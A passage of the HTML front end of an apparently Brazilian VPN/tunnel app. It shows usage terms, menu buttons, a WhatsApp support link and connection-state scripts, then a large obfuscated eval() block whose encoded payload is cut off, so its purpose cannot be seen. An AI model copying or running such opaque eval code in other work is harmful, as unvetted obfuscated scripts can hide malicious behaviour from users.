0 0 1-.708.708L8 8.707l-5.146 5.147a.5.5 0 0 1-.708-.708L7.293 8 2.146 2.854Z\" />\n </svg>\n </header>\n\n <p>\n Importante: Ao utilizar o nosso aplicativo, é fundamental que você\n esteja ciente e concorde com os seguintes pontos:\n\n <br /><br /><br />\n\n 1° - Nosso suporte está disponível para ajudar clientes que\n enfrentam problemas como dificuldades de conexão, informações\n incorretas, ou se o aplicativo não está instalado corretamente.\n\n <br /><br />\n\n 2° - Não somos responsáveis por questões relacionadas à manutenção\n da sua operadora, quedas na conexão causadas por fatores externos ou\n problemas climáticos que possam afetar a velocidade da sua internet\n através da VPN.\n\n <br /><br />\n\n 3° - Caso haja uma interrupção no serviço devido à operadora, não\n efetuamos reembolsos. No entanto, os dias em que o serviço ficar\n indisponível serão compensados quando a situação se normalizar,\n visto que há custos associados à manutenção dos servidores.\n\n <br /><br />\n\n 4° - Não nos responsabilizamos por sites e jogos que impeçam o uso\n da nossa VPN.\n\n <br /><br />\n\n 5° - É permitido usar apenas o número de dispositivos estipulado no\n seu contrato com o revendedor autorizado.\n\n <br /><br />\n\n 6° - É estritamente proibido o uso de aplicativos torrent ou P2P,\n pois eles podem prejudicar o desempenho dos nossos servidores.\n\n <br /><br />\n\n 7° - É importante que, independentemente da sua operadora, você faça\n uma recarga a cada 2 meses para garantir um serviço contínuo.\n\n <br /><br />\n\n 8° - Mantenha o aplicativo sempre atualizado, pois as atualizações\n são necessárias para garantir o bom funcionamento do serviço.\n\n <br /><br /><br /><br />\n\n Agradecemos por escolher o nosso aplicativo e desejamos a você uma\n ótima experiência de navegação!\n </p>\n </section>\n </section>\n\n <section class=\"container-error\">\n <header>\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\"\n class=\"bi bi-arrow-return-left\" viewBox=\"0 0 16 16\">\n <path fill-rule=\"evenodd\"\n d=\"M14.5 1.5a.5.5 0 0 1 .5.5v4.8a2.5 2.5 0 0 1-2.5 2.5H2.707l3.347 3.346a.5.5 0 0 1-.708.708l-4.2-4.2a.5.5 0 0 1 0-.708l4-4a.5.5 0 1 1 .708.708L2.707 8.3H12.5A1.5 1.5 0 0 0 14 6.8V2a.5.5 0 0 1 .5-.5z\" />\n </svg>\n\n <h1>ERROR</h1>\n </header>\n\n <section>\n <h1 id=\"error-title\"></h1>\n\n <p id=\"error-log\"></p>\n </section>\n </section>\n\n <section class=\"container-toast masterSshAnimatedTime\">\n <div class=\"toast\">\n <div class=\"icon\">\n <img\n src=\"data:image/svg+xml,%3C%3Fxml version='1.0' encoding='UTF-8'%3F%3E%3Csvg id='Camada_1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' viewBox='0 0 255.17 400'%3E%3Cdefs%3E%3Cstyle%3E.cls-1%7Bfill:%23fff;%7D.cls-2%7Bfill:%239f2eff;%7D.cls-3%7Bfill:none;stroke:url(%23Gradiente_sem_nome_253-3);%7D.cls-3,.cls-4%7Bstroke-miterlimit:10;%7D.cls-4%7Bfill:url(%23Gradiente_sem_nome_253);stroke:url(%23Gradiente_sem_nome_253-2);%7D.cls-5%7Bfill:%230ab1d3;%7D%3C/style%3E%3ClinearGradient id='Gradiente_sem_nome_253' x1='76.24' y1='76.85' x2='139.38' y2='76.85' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%230bb1d3'/%3E%3Cstop offset='1' stop-color='%239f2fff'/%3E%3C/linearGradient%3E%3ClinearGradient id='Gradiente_sem_nome_253-2' x1='75.93' x2='139.69' xlink:href='%23Gradiente_sem_nome_253'/%3E%3ClinearGradient id='Gradiente_sem_nome_253-3' x1='72.44' y1='201.84' x2='127.55' y2='201.84' xlink:href='%23Gradiente_sem_nome_253'/%3E%3C/defs%3E%3Ccircle class='cls-5' cx='167.12' cy='32.88' r='32.88'/%3E%3Ccircle class='cls-1' cx='42.09' cy='132.11' r='42.09'/%3E%3Ccircle class='cls-2' cx='169.67' cy='314.5' r='85.5'/%3E%3Cline class='cls-4' x1='139.38' y1='51.86' x2='76.24' y2='101.85'/%3E%3Cline class='cls-3' x1='72.84' y1='165.78' x2='127.15' y2='237.9'/%3E%3C/svg%3E\"\n alt=\"Icone do toast\" />\n </div>\n\n <span class=\"text\">ATUALIZANDO...>\n </div>\n </section>\n </main>\n\n <section class=\"container-menu\">\n <button id=\"tools\" type=\"button\" title=\"tools\" style=\"color: white;\">\n <i class=\"fas fa-cogs\" style=\"font-size: 15px;\"></i>\n <span>FERRAMENTAS</span>\n</button>\n\n <button id=\"perfil\" type=\"button\" title=\"Login\" onclick=\"showProfileContainer()\">\n <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"22\" height=\"22\" fill=\"currentColor\" class=\"bi bi-person\"\n viewBox=\"0 0 16 16\">\n <path\n d=\"M8 8a3 3 0 1 0 0-6 3 3 0 0 0 0 6Zm2-3a2 2 0 1 1-4 0 2 2 0 0 1 4 0Zm4 8c0 1-1 1-1 1H3s-1 0-1-1 1-4 6-4 6 3 6 4Zm-1-.004c-.001-.246-.154-.986-.832-1.664C11.516 10.68 10.289 10 8 10c-2.29 0-3.516.68-4.168 1.332-.678.678-.83 1.418-.832 1.664h10Z\" />\n </svg>\n\n <span>LOGIN</span>\n </button>\n\n <button id=\"home\" type=\"button\" title=\"inicio\" style=\"color: white;\" onclick=\"toggleSection()\">\n <i class=\"fas fa-home\" style=\"font-size: 25px;\"></i>\n <span>HOME</span>\n</button>\n\n<button id=\"login\" type=\"button\" title=\"Assistir TV\" onclick=\"mostrarConteudo()\" style=\"color: white;\" disabled>\n <i class=\"fas fa-tv\" style=\"font-size: 13px;\"></i>\n <span>TV</span>\n</button>\n\n <button id=\"contact-button\" type=\"button\" title=\"Contato via WhatsApp\" onclick=\"window.open('https://wa.me/5591993881543?text=Olá!+Estou+interessado+no+acesso!+como+faço+pra+adquirir%3F')\" style=\"color: white;\">\n <i class=\"fab fa-whatsapp\" style=\"font-size: 17px;\"></i>\n <span>SUPORTE</span>\n</button>\n \n \n <script>\n const backButton = document.getElementById('back-tools-container');\n const modal = document.getElementById('myModal');\n\n backButton.addEventListener('click', () => {\n modal.style.display = 'none';\n });\n</script>\n\n\n\n\n<script>\nconst playAudio = () => {\n const audio = new Audio('https://cdn.pixabay.com/audio/2024/05/24/audio_700a2114ce.mp3');\n audio.play();\n};\n\n// Função para obter o estado do botão do localStorage\nfunction getButtonStateFromStorage() {\n const storedState = localStorage.getItem('isButtonEnabled');\n return storedState === 'true';\n}\n\n// Função para salvar o estado do botão no localStorage\nfunction setButtonStateInStorage(state) {\n localStorage.setItem('isButtonEnabled', state);\n}\n\n// Inicializar a variável isButtonEnabled com o valor armazenado\nlet isButtonEnabled = getButtonStateFromStorage();\n\nconst connectionState = (state) => {\n const connectionValue = `${state || appGetConnectionState()}`;\n\n switch (connectionValue) {\n case \"DISCONNECTED\":\n getConnectionState().disconnected();\n StatesConnectionValue.html(\"DESCONECTADO\");\n break;\n case \"CONNECTING\":\n showRegisterContainer();\n getConnectionState().connecting();\n StatesConnectionValue.html(\"CONECTANDO\");\n break;\n case \"CONNECTED\":\n getConnectionState().connected();\n StatesConnectionValue.html(\"<span style='color: lime'>CONECTADO</span>\");\n playAudio();\n isButtonEnabled = true;\n setButtonStateInStorage(true);\n break;\n case \"STOPPING\":\n getConnectionState().connecting();\n StatesConnectionValue.html(\"PARANDO\");\n break;\n case \"NO_NETWORK\":\n getConnectionState().error();\n StatesConnectionValue.html(\"Sem rede\");\n break;\n case \"AUTH\":\n getConnectionState().connecting();\n StatesConnectionValue.html(\"Autenticação\");\n break;\n case \"AUTH_FAILED\":\n getConnectionState().connecting();\n StatesConnectionValue.html(\"falha na autenticação\");\n isButtonEnabled = false;\n setButtonStateInStorage(false);\n break;\n default:\n console.error(\"Estado de conexão desconhecido:\", connectionValue);\n }\n\n updateButtonState();\n};\n\nconst updateButtonState = () => {\n document.getElementById(\"login\").disabled = !isButtonEnabled;\n};\n</script>\n\n\n\n\n\n <script>var _0xc7e=[\"\",\"split\",\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/\",\"slice\",\"indexOf\",\"\",\"\",\".\",\"pow\",\"reduce\",\"reverse\",\"0\"];function _0xe71c(d,e,f){var g=_0xc7e[2][_0xc7e[1]](_0xc7e[0]);var h=g[_0xc7e[3]](0,e);var i=g[_0xc7e[3]](0,f);var j=d[_0xc7e[1]](_0xc7e[0])[_0xc7e[10]]()[_0xc7e[9]](function(a,b,c){if(h[_0xc7e[4]](b)!==-1)return a+=h[_0xc7e[4]](b)*(Math[_0xc7e[8]](e,c))},0);var k=_0xc7e[0];while(j>0){k=i[j%f]+k;j=(j-(j%f))/f}return k||_0xc7e[11]}eval(function(h,u,n,t,e,r){r=\"\";for(var i=0,len=h.length;i<len;i++){var s=\"\";while(h[i]!==n[e]){s+=h[i];i++}for(var j=0;j<n.length;j++)s=s.replace(new RegExp(n[j],\"g\"),j);r+=String.fromCharCode(_0xe71c(s,e,10)-t)}return decodeURIComponent(escape(r))}(\"BWKmEsBmKWsmKWjmKBKmKBPmBKPmKBWmKWKmEjsmKEEmEBEmKBjmEsEmKWWmKWsmBKPmEWjmBKPmBPjmBPsmBKPmEWjmEWsmBKPmKEPmBKPmEsBmKWsmKWjmKBKmKBPmBKPmEjsmKBjmEsEmKWWmKWsmBKPmEWjmBKPmKWjmEsKmKEWmBKPmEBEmKBjmEsEmKWWmKWsmBPjmBPPmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmEsBmEsEmKWjmBjPmKBWmKWWmKEBmEjsmEsWmEjsmKEEmBjPmEsBmKWsmKWPmBjjmEjsmKBjmEsEmKWWmKWsmBjjmBsBmBjsmBsBmBsKmBjjmBjsmBsPmBjjmBsBmBsKmBjjmEjsmKBjmEsEmKWWmKWsmEjPmBssmBjsmBjsmEjsmBsBmBsWmBsWmBsKmEsBmEsKmBjPmKWPmKBWmBsEmBPPmBPsmEWKmBKPmEjsmKBjmEsEmKWWmKWsmBjPmKBWmKWKmEjsmKEEmBPjmBPsmEWKmBWKmKEsmEWKmBWKmEsPmKBjmKWjmEsBmKBPmKWWmKWsmKWjmBKPmEsjmEsKmKBPmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmEEWmKBEmKWsmKWPmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBPjmBPsmBKPmKEPmBKPmEsBmKWsmKWjmKBKmKBPmBKPmKBKmKBPmKWsmKBEmEsKmEsEmEKsmKBPmEjsmKBPmEsKmBKPmEWjmBKPmKWKmKWsmEsBmEjsmKWKmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBjPmEsjmEsKmKBPmEEKmKBPmEsKmKWPmBPjmBPPmKWWmKBKmEBKmKBjmKBPmKBPmKWsmKWjmEBsmKWjmEjsmEsWmKWKmEsKmEsEmBPPmBPsmEWKmBKPmKBEmEsKmKBPmKBjmKBEmKWjmBKPmKBKmKBPmKWsmKBEmEsKmEsEmEKsmKBPmEjsmKBPmEsKmBKPmEWjmEWjmEWjmBKPmBPPmKBPmKBEmKBjmEsKmBPPmEWKmBWKmKEsmBWKmEsPmKBjmKWjmEsBmKBPmKWWmKWsmKWjmBKPmKBKmEsKmKBPmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmEEKmKWjmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBPjmKBKmKBPmEjsmKBPmEsKmBPsmBKPmKEPmBKPmKWKmKWsmEsBmEjsmKWKmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBjPmKBKmEsKmKBPmEEKmKBPmEsKmKWPmBPjmBPPmKWWmKBKmEBKmKBjmKBPmKBPmKWsmKWjmEBsmKWjmEjsmEsWmKWKmEsKmEsEmBPPmBjEmBKPmKBKmKBPmEjsmKBPmEsKmBPsmEWKmBWKmKEsmBWKmKWKmEsKmKBPmBKPmKWWmKBKmEBKmKBjmKBPmKBPmKWsmKWjmEBsmKWjmEjsmEsWmKWKmEsKmEsEmBKPmEWjmBKPmEsjmEsKmKBPmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmEEWmKBEmKWsmKWPmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBPjmBPsmEWKmBWKmEsBmKWsmKWjmKBKmKBPmBKPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBKPmEWjmBKPmBPjmKBKmKBPmEjsmKBPmEsKmBPsmBKPmEWjmEWsmBKPmKEPmBKPmEsBmKWsmKWjmKBKmKBPmBKPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBKPmEWjmBKPmEjjmBPBmKEPmKBKmKBPmEjsmKBPmEsKmBKPmKEjmKEjmBKPmEjsmKBWmKBWmEEBmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmKEsmEjjmEWKmBKPmKBKmKEWmKWWmKBPmEsBmEssmBKPmBPjmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBPsmBKPmKEPmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEBjmEEKmEKsmEBPmEKEmEKBmEKBmEBsmEBPmEPWmEBsmEBjmBKsmEWEmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsEmKWWmKBKmEsBmKWsmKWjmKWjmEsKmEsBmKBPmEsKmEsEmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEBjmEBsmEKsmEBPmEKEmEKBmEBsmEBPmEPWmEBEmEBjmEKEmBKsmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEBPmEKEmEKBmEKBmEBsmEBPmEPWmEEKmEKBmEEBmBKsmEWEmBKPmKBKmEssmKWsmKEWmEKjmEsKmEsjmKWWmKBKmKBPmEsKmKBEmEBPmKWsmKWjmKBPmEjsmKWWmKWjmEsKmKBEmBPjmBPsmEWKmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWjmEsjmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEBPmEKEmEKBmEBsmEBPmEPWmEBEmEKBmEBjmEKEmBKsmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEBPmEKEmEKBmEKBmEBsmEBPmEPWmEBsmEBjmBKsmEWEmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmEsKmEsEmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEWPmKBKmKBWmEjsmKWjmBKPmKBKmKBPmKEEmKWKmEsKmEWjmBPPmEsBmKWsmKWKmKWsmKBEmEWEmBKPmKWKmKWWmKWPmEsKmBPPmEWsmEBPmEKEmEKBmEBsmEBPmEPWmEBEmEBjmEKEmEWPmBjjmKBKmKBWmEjsmKWjmEWsmBKsmBPsmEWKmBKPmKBWmKWKmEjsmKEEmEBEmKBjmEsEmKWWmKWsmBPjmBPsmEWKmBKPmKWWmKBKmEBKmKBjmKBPmKBPmKWsmKWjmEBsmKWjmEjsmEsWmKWKmEsKmEsEmBKPmEWjmBKPmKBPmKBEmKBjmEsKmEWKmBKPmKBKmEsKmKBPmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmEEKmKWjmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBPjmKBPmKBEmKBjmEsKmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEKsmEPWmEKEmEKKmEKKmEEKmEKBmEEBmBKsmEWEmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWjmEsjmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEKKmEBEmEKjmEBEmEKBmEBjmEKEmBKsmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEKBmEKEmEjPmEKBmEBsmEPWmEPKmEKEmEKjmEEjmBKsmEWEmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsKmKBEmKBEmKWsmKBEmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEKsmEsKmKWPmBKPmKBEmEsKmEsEmEsKmBKsmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEBEmEPBmEPWmEEEmBKsmEWEmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWjmEsjmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEBEmKBjmKBPmEsKmKWjmKBPmKWWmEsBmEjsmPjsmPBsmPjsmPBEmKWsmBKsmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsBmEjsmKBKmEsKmBKPmBKsmEBEmEPBmEPWmEEEmEjPmEEWmEBEmEEKmEEsmEBsmEBjmBKsmEWEmBKPmEsjmEsKmKBPmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmBjPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWjmEsjmBPjmBPsmEWKmBKPmEKsmKBPmEjsmKBPmEsKmKBKmEBPmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBjPmEssmKBPmKWPmKWKmBPjmBKsmEsPmEjsmKWKmEssmEjsmBKPmKWjmEjsmBKPmEjsmKBjmKBPmEsKmKWjmKBPmKWWmEsBmEjsmPjsmPBsmPjsmPBEmKWsmBKsmBPsmEWKmBKPmKWWmKBKmEBKmKBjmKBPmKBPmKWsmKWjmEBsmKWjmEjsmEsWmKWKmEsKmEsEmBKPmEWjmBKPmEsPmEjsmKWKmKBKmEsKmEWKmBKPmKBKmEsKmKBPmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmEEKmKWjmEKsmKBPmKWsmKBEmEjsmEsjmEsKmBPjmEsPmEjsmKWKmKBKmEsKmBPsmEWKmBKPmEsWmKBEmEsKmEjsmKWEmEWKmBKPmEsEmEsKmEsPmEjsmKBjmKWKmKBPmEWEmBKPmEsBmKWsmKWjmKBKmKWsmKWKmEsKmBjPmEsKmKBEmKBEmKWsmKBEmBPjmBKsmEBsmKBKmKBPmEjsmEsEmKWsmBKPmEsEmEsKmBKPmEsBmKWsmKWjmEsKmKEBmPjsmPBEmKWsmBKPmEsEmEsKmKBKmEsBmKWsmKWjmEssmEsKmEsBmKWWmEsEmKWsmEWEmBKsmBjEmBKPmEsBmKWsmKWjmKWjmEsKmEsBmKBPmKWWmKWsmKWjmEPEmEjsmKWKmKBjmEsKmBPsmEWKmBKPmKEsmBKPmKBjmKBWmEsEmEjsmKBPmEsKmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBPjmBPsmEWKmBWKmKEsmEWKmBWKmEsBmKWsmKWjmKBKmKBPmBKPmKBjmKBWmEsEmEjsmKBPmEsKmEBKmKBjmKBPmKBPmKWsmKWjmEKsmKBPmEjsmKBPmEsKmBKPmEWjmBKPmBPjmBPsmBKPmEWjmEWsmBKPmKEPmBKPmEsEmKWsmEsBmKBjmKWPmEsKmKWjmKBPmBjPmEsjmEsKmKBPmEBsmKWKmEsKmKWPmEsKmKWjmKBPmEBKmKEEmEEKmEsEmBPjmBKsmKWKmKWsmEsjmKWWmKWjmBKsmBPsmBjPmEsEmKWWmKBKmEjsmEsWmKWKmEsKmEsEmBKPmEWjmBKPmBKjmKWWmKBKmEBKmKBjmKBPmKBPmKWsmKWjmEBsmKWjmEjsmEsWmKWKmEsKmEsEmEWKmBWKmKEsmEWKmBWKmEsBmKWsmKWjmKBKmKBPmBKPmKBjmKBEmKWKmEBjmEjsmEEsmKWWmKBKmKBPmEjsmEEKmEKKmEPWmEPEmBKPmEWjmBKPmBPPmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmBjPmKWPmKWBmEssmBjPmKWjmKEKmBjjmEKKmKWKmKBjmKBPmKWsmEPWmEPEmBjjmEsWmKBEmBjPmKWPmBsEmKBjmEWWmBPPmEWKmBWKmEsBmKWsmKWjmKBKmKBPmBKPmEsBmEjsmKWjmEjsmKWWmKBKmEBEmEsEmKWWmEsBmKWWmKWsmKWjmEjsmKWWmKBKmBKPmEWjmBKPmEjWmBKPmKEPmBKPmBKsmKWKmKWsmEsjmKWsmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWWmBjPmKWWmEsWmEsWmBjPmEsBmKWsmBjjmEWWmEKWmEsjmEKjmKWPmEKPmBsEmBjjmEKKmKWWmEsBmKBKmEjsmKBEmKBPmBjKmBsBmBsKmBjKmBjsmBssmBjKmBsBmBsKmBjKmBsWmBsEmBjKmBjsmBsEmBjKmBjsmBsjmBjKmBsKmBsPmEWWmBjPmKBWmKWjmEsjmBKsmBjEmBKPmBKsmKBKmKBPmKBEmEsKmEjsmKWPmBKsmEWEmBKPmBKsmEssmKBPmKBPmKBWmKBKmEWEmBjjmBjjmKWPmEjsmKWjmKWWmEsPmEsKmKBKmKBPmBjPmEsjmKWsmKWsmEsjmKWKmEsKmKBsmKWWmEsEmEsKmKWsmBjPmEsBmKWsmKWPmBjjmEjsmKBWmKWWmBjjmKWPmEjsmKWjmKWWmEsPmEsKmKBKmKBPmBjjmEssmKWKmKBKmEjPmKBsmEjsmKBEmKWWmEjsmKWjmKBPmBjjmEsKmKEBmKBWmKWWmKBEmEsKmBjjmBsWmBssmBsBmBsWmEWWmBsPmEWWmBjsmBsEmBsKmBjjmEsKmKWWmBjjmKWEmKWWmEKEmEssmEPsmKBBmKBBmEKsmEBEmEsKmEPKmEsPmBjKmEEsmEBEmEKKmEsjmKBjmKWWmEEPmEBsmEBEmBjjmKWWmKBWmBjjmBsBmEWWmBjsmBsKmBPEmBsEmEBEmBsWmBsKmEsEmBPEmBsEmEBEmBssmBsBmEjsmEsEmBPEmBsEmEBEmEWWmEsKmBsEmBsjmBPEmBsEmEBEmEsPmBjsmBssmEsBmBPEmBsEmEBEmBsBmBsPmEsKmEsEmBPEmBsEmEBEmBsPmBsWmEjsmEWWmBPEmBsEmEBEmBsjmEsEmBsWmBsWmBjjmKWWmEsEmBjjmBsPmEjsmEsWmBsKmEsEmEsBmEsWmEsEmEsKmBsEmBssmBsBmEsEmEsBmEWBmBsEmBjjmKBKmKWsmKBjmKBEmEsBmEsKmBjjmKEEmKWsmKBjmKBPmKBjmEsWmEsKmBjjmKBEmEsKmKBBmKBjmKWWmKBEmEsKmKBKmKBKmKWKmBjjmKEEmEsKmKBKmBjjmKEBmKBWmEsBmBjjmEBsmEsjmEPEmKWsmBsBmEjsmEBjmEKsmEKBmEKPmBPEmBsEmEBjmBPEmBsEmEBjmBjjmKBWmKWKmEjsmKEEmEsWmEjsmEsBmKWEmEjPmEssmKWsmKBKmKBPmBjjmKBEmKBEmBsBmBjKmBjKmBjKmKBKmKWjmBjKmKWsmKEBmKBjmKWjmKEBmEsjmEWWmKBWmKWBmKBsmKWjmBjKmKWjmKWjmBsPmKWKmBjPmEsjmKWsmKWsmEsjmKWKmEsKmKBsmKWWmEsEmEsKmKWsmBjPmEsBmKWsmKWPmBjjmKWPmEssmBjjmEEPmBssmBjjmKWPmKWPmBjjmBsEmBsWmBPEmBsBmEBPmBsBmEWBmBjjmKWPmKWjmBjjmKBKmKWjmBjKmKWsmKEBmKBjmKWjmKEBmEsjmEWWmKBWmKWBmKBsmKWjmBjKmKWjmKWjmBsPmKWKmBPEmBsBmEBPmKBKmKWjmBjKmEsjmKBWmKBsmBssmKEEmKWjmBssmEsKmBjjmKWPmKBKmBjjmEjsmKBjmBPEmBsBmEBPmKBEmEsEmKBjmBjjmKWPmKBsmBjjmKWPmBjjmKWPmKBsmKWWmBjjmBsBmBjjmKBWmKWKmBjjmBsKmEWWmBjjmKBPmKEBmBjjmBsPmBsWmBsBmBsEmBjsmBssmBjsmBsWmBjjmKBPmKEBmKBKmBjjmBsPmBsWmBsBmBsEmBjsmBsjmEWBmBsjmBPEmBsBmEBPmBsPmBsWmBsBmBsEmBjsmBsjmEWBmBssmBPEmBsBmEBPmBsPmBsWmBsBmBsEmBjsmBsjmEWBmEWWmBPEmBsBmEBPmBsPmBsWmBsBmBsEmBjsmBsjmEWBmEWBmBPEmBsBmEBPmBsPmBsWmBsBmBsEmBjsmBssmBjsmBjsmBPEmBsBmEBPmBsPmBsWmBsBmBsEmBjsmBssmBjsmBsWmBPEmBsBmEBPmBsPmBsWmBsBmBsEmBjsmBssmBjsmBsBmBjjmKWWmKWjmKWWmKBPmEsBmKEWmKWjmEsEmEsWmKBWmKBKmBjjmEWBmBssmBjsmBjsmBjsmBjsmBjjmKBsmKBWmKBEmKBsmBjjmBsWmBjjmEsjmKWsmBjjmBsWmBjjmKBEmKBBmEssmBjjmBsPmBjjmKWPmKBPmBjjmBsWmBssmBsBmBsWmEWWmBsEmBsPmEWBmBsKmBsKmBjjmEsPmKBsmKWWmKBWmBjjmBsWmBjjmKWjmKBsmEsjmKWsmKWWmBjjmBsWmBjjmKWjmEjsmEsjmKWsmKWWmBjjmBsWmBjjmKWEmEsKmEsKmKBWmEjsmKWKmKWWmKBsmEsKmBjjmKEEmEsKmKBKmBjjmEsEmKWsmKBsmEsKmKBEmBjjmBsWmBsWmBjjmKWWmKBPmEjsmEsjmBjjmBjsmBjjmKBWmKWKmEjsmKEEmKWKmKWWmKBKmKBPmEjPmKBPmKEEmKBWmEsKmBjjmEBjmEPEmEKjmBjjmKBKmKBWmEjsmKBEmEjsmKWPmKBKmBjjmEsKmKEBmKBWmKWWmKBEmEsKmBPEmBsBmEBPmEsKmKWWmBPEmBsBmEBPmKWWmKBWmBPEmBsBmEBPmKWWmEsEmBPEmBsBmEBPmKBKmKWsmKBjmKBEmEsBmEsKmBPEmBsBmEBPmKBEmEsKmKBBmKBjmKWWmKBEmEsKmKBKmKBKmKWKmBPEmBsBmEBPmKEBmKBWmEsBmBPEmBsBmEBPmKBPmKEBmBPEmBsBmEBPmKBPmKEBmKBKmBPEmBsBmEBPmKBsmKBWmKBEmKBsmBPEmBsBmEBPmEsjmKWsmBPEmBsBmEBPmKBEmKBBmEssmBPEmBsBmEBPmKWWmKBPmEjsmEsjmBPEmBsBmEBPmKBWmKWKmEjsmKEEmKWKmKWWmKBKmKBPmEjPmKBPmKEEmKBWmEsKmBjjmKBKmKWWmEsjmBjjmEBEmEEPmEsPmEKPmEsEmEKsmKBKmKEWmEKjmEKPmEEKmEsjmEEKmEEKmKEKmBssmEsjmBsPmEssmEBjmEsBmEKBmEPWmEKKmEPPmKBEmEBEmBsBmEWBmEsBmKBsmEPWmKWjmEPKmBjsmEBPmKBPmEEBmEPPmEBPmKEEmKBWmEsBmEBsmEsBmEBEmEKjmEKPmEsWmEPsmEPsmKWsmBsWmKBsmEWWmEBPmEEKmEKPmEBjmEssmKEEmEPsmEKBmEEWmKBKmEsPmKWsmEsjmBssmEjsmEsWmEKEmBsKmKBPmKEEmEPsmEPBmEWBmEsWmEBKmKEWmEBPmEPBmKEKmEBjmKBPmKBPmEBsmEPEmEKBmKBPmBsWmEEjmKWjmBsBmKBEmKWBmEsKmEsjmEsKmEK